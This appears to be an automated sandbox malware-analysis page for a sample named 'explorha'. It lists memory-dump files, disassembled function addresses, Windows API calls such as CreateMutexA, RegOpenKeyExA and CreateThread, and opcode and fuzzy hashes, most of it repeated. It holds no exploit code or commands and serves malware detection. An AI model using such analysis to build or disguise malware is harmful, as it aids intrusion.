Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: 6a97b4f17bbc887a01f358352fe9cf9da3d8f4a8b6fc46dfd913ce69b0e9530a
Instruction ID: c2d08ce96270f14723719b2bca01b4984a5750e03250d735980885c3af42aa24
Opcode Fuzzy Hash: 6a97b4f17bbc887a01f358352fe9cf9da3d8f4a8b6fc46dfd913ce69b0e9530a
Instruction Fuzzy Hash: 83A12572A041489FCF19AF78DC92BED3BE1EB06320F240199E851AB3D1DB359E56C791

Uniqueness

Uniqueness Score: -1.00%

Function 00AD7110 Relevance: 4.7, APIs: 3, Instructions: 158
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064,48F964E0,?,00000000,00B1AFE8,000000FF), ref: 00AD714C
CreateThread.KERNELBASE(00000000,00000000,00AD6FB0,00B38530,00000000,00000000,?,?,?,?,?,?,?,?), ref: 00AD723F
Sleep.KERNELBASE(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00AD7249

Part of subcall function 00AEE75C: RtlWakeAllConditionVariable.NTDLL ref: 00AEE810

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID:
API String ID: 79123409-0
Opcode ID: 139f88a083889c503423be972999c03e7feaf8474f0503940f44039edeca1151
Instruction ID: 853a11a0a4de5e1dbfd81ff5354c21eb0b7be5619c4ef78251de094adc7ca913
Opcode Fuzzy Hash: 139f88a083889c503423be972999c03e7feaf8474f0503940f44039edeca1151
Instruction Fuzzy Hash: 93511271210384AFEB18DF28DD85B9D3BA1EB54304F604619F8169B3D1DF7AE984CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00B08561 Relevance: 4.6, APIs: 3, Instructions: 145
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNELBASE(?,?,00000000,00000000), ref: 00B08583
GetFileInformationByHandle.KERNELBASE(?,?), ref: 00B085DD
__dosmaperr.LIBCMT ref: 00B08672

Part of subcall function 00B088D7: __dosmaperr.LIBCMT ref: 00B0890C

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: 417a0e8fbff5ae53c7f9c0b5b5de3c447a38e6600c7473d565a66265f4cd7cc8
Instruction ID: c6e9abdfe05ceec6fe903ffdb7bbc54970041432b1b88880f41ccfb870f8c993
Opcode Fuzzy Hash: 417a0e8fbff5ae53c7f9c0b5b5de3c447a38e6600c7473d565a66265f4cd7cc8
Instruction Fuzzy Hash: 81416D71900344AFDB24EFB5DC419AFBBF9EF89300B114969E496D3650DB319A008B61

Uniqueness

Uniqueness Score: -1.00%

Function 00AD5E90 Relevance: 4.6, APIs: 3, Instructions: 134
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000002,?,00000000,00000001,?), ref: 00AD5F0D
RegQueryValueExA.KERNELBASE(?,?,00000000,00000000,?,00000400), ref: 00AD5F3B
RegCloseKey.KERNELBASE(?), ref: 00AD5F47

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 3a662115210e428c8deb0b2cfa47b15394c18fb5cab3e0fd3995f538a73553d5
Instruction ID: 5ee3374d30981515fe9cf84cd5eac5f50b07a223cb3f42a3167f98c11614b23f
Opcode Fuzzy Hash: 3a662115210e428c8deb0b2cfa47b15394c18fb5cab3e0fd3995f538a73553d5
Instruction Fuzzy Hash: 1D41E4B15102589BEB28CF24CD41BED7BB9EB49304F1082ADF916972C1DB75AA84CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00AD9675 Relevance: 4.6, APIs: 3, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 00AD9678
Sleep.KERNELBASE(000003E8), ref: 00ADA435
CreateMutexA.KERNELBASE(00000000,00000000,00B351D8), ref: 00ADA453

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 87dfdce460f78339de148ea9576c33d4f0386d88df197773ea7e6fdfb85d0d36
Instruction ID: da4ce921fe412f23125e108d53389f284c3dbc0446ea8c8c5b07102922925c05
Opcode Fuzzy Hash: 87dfdce460f78339de148ea9576c33d4f0386d88df197773ea7e6fdfb85d0d36
Instruction Fuzzy Hash: AD3158717102008BEB18DB7CCD887AEBBA2EB82314F208719E0269B3D5C7B5D9808791

Uniqueness

Uniqueness Score: -1.00%

Function 00AD97AA Relevance: 4.6, APIs: 3, Instructions: 130
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 00AD97AD
Sleep.KERNELBASE(000003E8), ref: 00ADA435
CreateMutexA.KERNELBASE(00000000,00000000,00B351D8), ref: 00ADA453

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
